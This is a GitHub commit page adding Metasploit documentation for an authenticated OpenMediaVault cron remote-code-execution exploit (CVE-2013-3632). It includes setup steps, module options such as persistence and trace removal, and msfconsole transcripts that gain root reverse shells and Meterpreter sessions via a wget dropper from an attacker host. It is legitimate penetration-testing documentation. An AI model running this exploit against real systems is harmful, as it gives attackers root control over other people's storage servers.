Skip to content

Commit ba7c7b6

Browse files
cdelafuente-r7cdelafuente-r7
committed
Land rapid7#19298, OpenMediaVault authenticated RCE [CVE-2013-3632]
2 parents 45e105e + c94dc8f commit ba7c7b6

File tree

3 files changed

+677
-93
lines changed

3 files changed

+677
-93
lines changed

‎documentation/modules/exploit/unix/webapp/openmediavault_auth_cron_rce.md

Lines changed: 281 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,281 @@
1+
## Vulnerable Application
2+
3+
This is a new module addressing an old vulnerability in OpenMediaVault, an open-source NAS solution.
4+
The vulnerability exists within all OpenMediaVault versions starting from from `0.1` until the recent release `7.4.2-2`
5+
and it allows an authenticated user to create cron jobs as root on the system.
6+
An attacker can abuse this by sending a POST request via `rpc.php` to schedule and execute a cron entry
7+
that runs arbitrary commands as root on the system.
8+
9+
The following releases were tested.
10+
11+
**OpenMediaVault x64 appliances:**
12+
* openmediavault_0.2_amd64.iso
13+
* openmediavault_0.2.5_amd64.iso
14+
* openmediavault_0.3_amd64.iso
15+
* openmediavault_0.4_amd64.iso
16+
* openmediavault_0.4.32_amd64.iso
17+
* openmediavault_0.5.0.24_amd64.iso
18+
* openmediavault_0.5.48_amd64.iso
19+
* openmediavault_1.9_amd64.iso
20+
* openmediavault_2.0.13_amd64.iso
21+
* openmediavault_2.1_amd64.iso
22+
* openmediavault_3.0.2-amd64.iso
23+
* openmediavault_3.0.26-amd64.iso
24+
* openmediavault_3.0.74-amd64.iso
25+
* openmediavault_4.0.9-amd64.iso
26+
* openmediavault_4.1.3-amd64.iso
27+
* openmediavault_5.0.5-amd64.iso
28+
* openmediavault_5.5.11-amd64.iso
29+
* openmediavault_5.6.13-amd64.iso
30+
* openmediavault_6.0-16-amd64.iso
31+
* openmediavault_6.0-34-amd64.iso
32+
* openmediavault_6.0-amd64.iso
33+
* openmediavault_6.0.24-amd64.iso
34+
* openmediavault_6.5.0-amd64.iso
35+
* openmediavault_7.0-20-amd64.iso
36+
* openmediavault_7.0-32-amd64.iso
37+
38+
**ARM64 on Raspberry PI running Kali Linux 2024-3:**
39+
* openmediavault 7.3.0-5
40+
* openmediavault 7.4.2-2
41+
42+
**VirtualBox Images (x64):**
43+
* openmediavault 0.4.24
44+
* openmediavault 0.5.30
45+
* openmediavault 1.0.21
46+
47+
## Installation steps to install OpenMediaVault NAS appliance
48+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
49+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
50+
* Download the OpenMediaVault iso images from [here](https://sourceforge.net/projects/openmediavault/files/iso/).
51+
* Install the iso image in your virtualization engine.
52+
* When installed, configure the VM appliance to your needs using the menu options.
53+
* Boot up the VM and should be able to access the OpenMediaVault appliance.
54+
* Either thru the console, `ssh` on port `22` or using the `webui` via `http://your_openmediavault_ip`.
55+
56+
You are now ready to test the module.
57+
58+
## Verification Steps
59+
- [ ] Start `msfconsole`
60+
- [ ] `use exploit/unix/webapp/openmediavault_auth_cron_rce`
61+
- [ ] `set rhosts <ip-target>`
62+
- [ ] `set rport <port>`
63+
- [ ] `set lhost <attacker-ip>`
64+
- [ ] `set target <0=Unix Command, 1=Linux Dropper>`
65+
- [ ] `exploit`
66+
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
67+
68+
## Options
69+
70+
### USERNAME
71+
This option is required and is the username (default: admin) to authenticate with the application.
72+
73+
### PASSWORD
74+
This option is required and is the password (default: openmediavault) in plain text to authenticate with the application.
75+
76+
### PERSISTENT
77+
This option keeps the payload persistent in Cron and runs every minute. Warning: This is a noisy option for detection.
78+
The default value is false, where the payload is removed to cover your tracks.
79+
80+
## Scenarios
81+
```msf
82+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > info
83+
84+
Name: OpenMediaVault rpc.php Authenticated Cron Remote Code Execution
85+
Module: exploit/unix/webapp/openmediavault_auth_cron_rce
86+
Platform: Unix, Linux
87+
Arch: cmd, x86, x64, armle, aarch64
88+
Privileged: Yes
89+
License: Metasploit Framework License (BSD)
90+
Rank: Excellent
91+
Disclosed: 2024-05-08
92+
93+
Provided by:
94+
h00die-gr3y <[email protected]>
95+
Brandon Perry <[email protected]>
96+
Mert BENADAM
97+
98+
Module side effects:
99+
ioc-in-logs
100+
artifacts-on-disk
101+
102+
Module stability:
103+
crash-safe
104+
105+
Module reliability:
106+
repeatable-session
107+
108+
Available targets:
109+
Id Name
110+
-- ----
111+
=> 0 Unix Command
112+
1 Linux Dropper
113+
114+
Check supported:
115+
Yes
116+
117+
Basic options:
118+
Name Current Setting Required Description
119+
---- --------------- -------- -----------
120+
PASSWORD openmediavault yes The OpenMediaVault password to authenticate with
121+
PERSISTENT false yes Keep the payload persistent in Cron. Default value is false, where the payload is removed
122+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
123+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
124+
RPORT 80 yes The target port (TCP)
125+
SSL false no Negotiate SSL/TLS for outgoing connections
126+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
127+
TARGETURI / yes The URI path of the OpenMediaVault web application
128+
URIPATH no The URI to use for this exploit (default is random)
129+
USERNAME admin yes The OpenMediaVault username to authenticate with
130+
VHOST no HTTP server virtual host
131+
132+
133+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
134+
135+
Name Current Setting Required Description
136+
---- --------------- -------- -----------
137+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to liste
138+
n on all addresses.
139+
SRVPORT 8080 yes The local port to listen on.
140+
141+
Payload information:
142+
143+
Description:
144+
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
145+
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
146+
a cron entry that runs arbitrary commands as root on the system.
147+
All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable.
148+
149+
References:
150+
https://nvd.nist.gov/vuln/detail/CVE-2013-3632
151+
https://packetstormsecurity.com/files/178526
152+
https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632
153+
154+
155+
View the full module info with the info -d command.
156+
```
157+
### openmediavault_7.0-32-amd64.iso appliance Unix command - cmd/unix/reverse_bash
158+
```msf
159+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.201.6
160+
rhosts => 192.168.201.6
161+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.201.8
162+
lhost => 192.168.201.8
163+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > check
164+
165+
[*] 192.168.201.6:80 - Authenticating with OpenMediaVault using credentials admin:openmediavault
166+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
167+
[+] 192.168.201.6:80 - The target is vulnerable. Version 7.0.pre.32
168+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit
169+
170+
[*] Started reverse TCP handler on 192.168.201.8:4444
171+
[*] Running automatic check ("set AutoCheck false" to disable)
172+
[*] 192.168.201.6:80 - Authenticating with OpenMediaVault using credentials admin:openmediavault
173+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
174+
[+] The target is vulnerable. Version 7.0.pre.32
175+
[*] Executing Unix Command for cmd/unix/reverse_bash
176+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
177+
[+] Cron payload entry successfully removed.
178+
[*] Command shell session 1 opened (192.168.201.8:4444 -> 192.168.201.6:60814) at 2024-07-03 12:47:54 +0000
179+
180+
id
181+
uid=0(root) gid=0(root) groups=0(root)
182+
uname -a
183+
Linux openmediavault 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 GNU/Linux
184+
exit
185+
```
186+
### openmediavault_7.0-32-amd64.iso appliance Linux Dropper - linux/x64/meterpreter/reverse_tcp
187+
```msf
188+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 1
189+
target => 1
190+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit
191+
192+
[*] Started reverse TCP handler on 192.168.201.8:4444
193+
[*] Running automatic check ("set AutoCheck false" to disable)
194+
[*] 192.168.201.6:80 - Authenticating with OpenMediaVault using credentials admin:openmediavault
195+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
196+
[+] The target is vulnerable. Version 7.0.pre.32
197+
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
198+
[*] Using URL: http://192.168.201.8:8080/cYSPpwJI3FXafxL
199+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
200+
[*] Command Stager progress - 100.00% done (121/121 bytes)
201+
[*] Client 192.168.201.6 (Wget/1.21.3) requested /cYSPpwJI3FXafxL
202+
[*] Sending payload to 192.168.201.6 (Wget/1.21.3)
203+
[*] Sending stage (3045380 bytes) to 192.168.201.6
204+
[+] Cron payload entry successfully removed.
205+
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.6:44398) at 2024-07-03 12:53:49 +0000
206+
[*] Server stopped.
207+
208+
meterpreter > getuid
209+
Server username: root
210+
meterpreter > sysinfo
211+
Computer : openmediavault.local
212+
OS : Debian 12.5 (Linux 6.1.0-18-amd64)
213+
Architecture : x64
214+
BuildTuple : x86_64-linux-musl
215+
Meterpreter : x64/linux
216+
meterpreter >
217+
```
218+
### openmediavault 7.3.0-5 ARM64 Raspberry PI-4 Unix command - cmd/unix/reverse_bash
219+
```msf
220+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 0
221+
target => 0
222+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10
223+
rhosts => 192.168.1.10
224+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.1.8
225+
lhost => 192.168.1.8
226+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit
227+
228+
[*] Started reverse TCP handler on 192.168.201.8:4444
229+
[*] Running automatic check ("set AutoCheck false" to disable)
230+
[*] Authenticating with OpenMediaVault using credentials admin:openmediavault
231+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
232+
[+] The target appears to be vulnerable. Version 7.3.0.pre.5
233+
[*] Executing Unix Command for cmd/unix/reverse_bash
234+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
235+
[+] Cron payload entry successfully removed.
236+
[*] Command shell session 8 opened (192.168.201.8:4444 -> 192.168.201.10:50292) at 2024-07-01 20:14:07 +0000
237+
238+
pwd
239+
/root
240+
uname -a
241+
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux
242+
```
243+
### openmediavault 7.3.0-5 ARM64 Raspberry PI-4 Linux Dropper - linux/aarch64/meterpreter_reverse_tcp
244+
```msf
245+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 1
246+
target => 1
247+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10
248+
rhosts => 192.168.1.10
249+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.1.8
250+
lhost => 192.168.1.8
251+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit
252+
253+
msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit
254+
255+
[*] Started reverse TCP handler on 192.168.201.8:4444
256+
[*] Running automatic check ("set AutoCheck false" to disable)
257+
[*] Authenticating with OpenMediaVault using credentials admin:openmediavault
258+
[*] Trying to detect if target is running a vulnerable version of OpenMediaVault.
259+
[+] The target appears to be vulnerable. Version 7.3.0.pre.5
260+
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp
261+
[*] Using URL: http://192.168.201.8:8080/DdVzoLQugqto82
262+
[+] Cron payload execution triggered. Wait at least 1 minute for the session to be established.
263+
[*] Command Stager progress - 100.00% done (120/120 bytes)
264+
[*] Client 192.168.201.10 (Wget/1.21.4) requested /DdVzoLQugqto82
265+
[*] Sending payload to 192.168.201.10 (Wget/1.21.4)
266+
[+] Cron payload entry successfully removed.
267+
[*] Meterpreter session 9 opened (192.168.201.8:4444 -> 192.168.201.10:36792) at 2024-07-01 20:22:02 +0000
268+
[*] Server stopped.
269+
270+
meterpreter > sysinfo
271+
Computer : 192.168.201.10
272+
OS : Debian (Linux 5.15.44-Re4son-v8l+)
273+
Architecture : aarch64
274+
BuildTuple : aarch64-linux-musl
275+
Meterpreter : aarch64/linux
276+
meterpreter > getuid
277+
Server username: root
278+
meterpreter >
279+
```
280+
## Limitations
281+
Ensure that your `WfsDelay` advanced option is set to more then 60 seconds to allow `cron` to execute the payload.

‎modules/exploits/multi/http/openmediavault_cmd_exec.rb

Lines changed: 0 additions & 93 deletions
This file was deleted.

0 commit comments

Comments
 (0)